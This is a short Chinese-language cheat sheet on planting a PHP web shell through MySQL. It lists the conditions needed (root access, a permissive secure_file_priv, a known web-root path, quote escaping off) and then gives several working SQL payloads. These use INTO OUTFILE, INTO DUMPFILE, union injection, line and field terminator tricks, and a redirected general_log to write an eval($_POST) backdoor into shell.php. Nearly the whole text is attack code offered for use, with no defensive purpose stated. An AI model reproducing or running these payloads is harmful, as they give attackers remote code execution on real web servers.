1.mysql用户为root
2.secure_file_priv=为空或者在网站根目录下（网站根目录为d:\www，secure_file_priv=d:\也可以）
3.有绝对路径
4.gpc关闭，这个应该是php的，会转义单引号，选择路径的时候一定需要单引号
5.有create,insert,select权限(一般root用户都有吧..感觉不用特意写出来)

show global variables like '%secure_file_priv%';	#查看可以写入的位置

select * from users where id=-1 union select 1,2,'<?php eval($_POST[\'pass\']); ?>' into outfile 'D:\\phpstudy_pro\\WWW\\shell.php';

select * from users where id=1 into outfile 'D:\\phpstudy_pro\\WWW\\shell.php' lines terminated by '<?php eval($_POST[\'pass\']); ?>';

select * from users where id=1 into outfile 'D:\\phpstudy_pro\\WWW\\shell.php' lines starting by '<?php eval($_POST[\'pass\']); ?>';

select * from users where id=1 into outfile 'D:\\phpstudy_pro\\WWW\\shell.php' fields terminated by '<?php eval($_POST[\'pass\']); ?>';

select * from users where id=1 into outfile 'D:\\phpstudy_pro\\WWW\\shell.php' COLUMNS terminated by '<?php eval($_POST[\'pass\']); ?>';

select * from users where id=-1 union select '','','<?php eval($_POST[\'pass\']); ?>' into dumpfile 'D:\\phpstudy_pro\\WWW\\shell.php';

select * from users where id=1 union select 1,2,'<?php eval($_POST[\'pass\']); ?>' into dumpfile 'D:\\phpstudy_pro\\WWW\\shell.php';

show variables like '%general%';
set global general_log = on;		#开启日志
set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php';		#设置日志路径